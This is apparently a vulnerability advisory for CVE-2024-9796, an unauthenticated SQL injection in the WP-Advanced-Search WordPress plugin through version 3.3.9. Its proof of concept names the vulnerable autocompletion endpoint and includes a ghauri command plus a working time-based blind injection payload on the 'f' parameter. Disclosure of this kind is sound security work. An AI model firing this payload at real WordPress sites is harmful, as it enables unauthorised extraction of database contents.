CVE-2024-9796

WordPress WP-Advanced-Search <= 3.3.9 - Unauthenticated SQL Injection

Description

The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Type: plugin
CVSS Score: 7.5
CVE: CVE-2024-9796
Slug: wp-advanced-search

Download Link: Download wp-advanced-search Version 3.3.9

#POC

ghauri -u "https://wpscan-vulnerability-test-bench.ddev.site/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?t=wp_autosuggest&f=words&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=19692269759899"

Parameter: f (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (IF - comment)
    Payload: t=wp_autosuggest&f=if(now()=sysdate(),SLEEP(9),0)-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'